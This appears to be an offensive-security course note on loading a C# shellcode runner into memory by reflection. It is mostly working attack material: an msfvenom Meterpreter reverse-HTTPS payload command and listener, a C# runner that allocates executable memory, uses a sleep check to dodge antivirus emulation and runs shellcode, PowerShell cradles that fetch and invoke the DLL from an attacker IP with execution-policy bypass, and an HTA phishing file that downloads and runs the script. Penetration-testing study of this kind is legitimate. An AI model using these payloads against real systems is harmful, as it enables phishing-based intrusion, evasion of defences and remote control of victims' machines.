> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/client-side-code-execution/in-memory-reflective-load-.dll-+-.ps1.md). # In-Memory Reflective Load (.dll + .ps1) {% hint style="info" %} load precompiled C# assembly directly into memory without touching disk and executed our shellcode runner {% endhint %}

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp

{% hint style="info" %} use 32-bit for [MS Office macro attack](/osep/attack/client-side-code-execution.md) {% endhint %} {% code title="listener:" %} ```bash sudo msfconsole -q -x "use exploit/multi/handler" set payload windows/x64/meterpreter/reverse_https set lhost 192.168.119.120 set lport 443 run ``` {% endcode %}

using System;
using System.Runtime.InteropServices;

namespace ClassLibrary1
{
    public class Class1
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
          IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        
        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
        
        public static void runner()
        {
            DateTime t1 = DateTime.Now;
            Sleep(2000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 < 1.5)
            {
                return;
            }
            
            byte[] buf = new byte[4] {
            0xfc,0x48,0x83,0xe4};

            // decryptor if used evasion encryptor
            //for (int i = 0; i < buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            //}

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

``` python -m http.server 80 ``` {% code title="rev.ps1" overflow="wrap" fullWidth="true" %} ```powershell $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/ClassLibrary1.dll') $assem = [System.Reflection.Assembly]::Load($data) $class = $assem.GetType("ClassLibrary1.Class1") $method = $class.GetMethod("runner") $method.Invoke(0, $null) ``` {% endcode %} *** {% code title="Execution on Victim:" overflow="wrap" %} ``` powershell -nop -ep bypass -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1')" ``` {% endcode %} {% code overflow="wrap" %} ``` powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1') | IEX ``` {% endcode %} *** ## `.hta` phishing for execution

<html>
    <head>
        <script language="JScript">
            var shell = new ActiveXObject("WScript.Shell");
            var res = shell.Run("powershell iwr -uri http://192.168.119.120/rev.ps1 -outfile C:\\Temp\\rev.ps1;powershell -nop -ep bypass C:\\Temp\\rev.ps1");
        </script>
    </head>
    <body>
        <script language="JScript">
            self.close();
        </script>
    </body>
</html>

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}` [^2]: [bypass AV emulator](/osep/attack/evasions.md#sleep) [^3]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp` *use 32-bit shellcode if for* [*MS Office macro attack*](/osep/attack/client-side-code-execution.md) [^4]: can also use shell.exe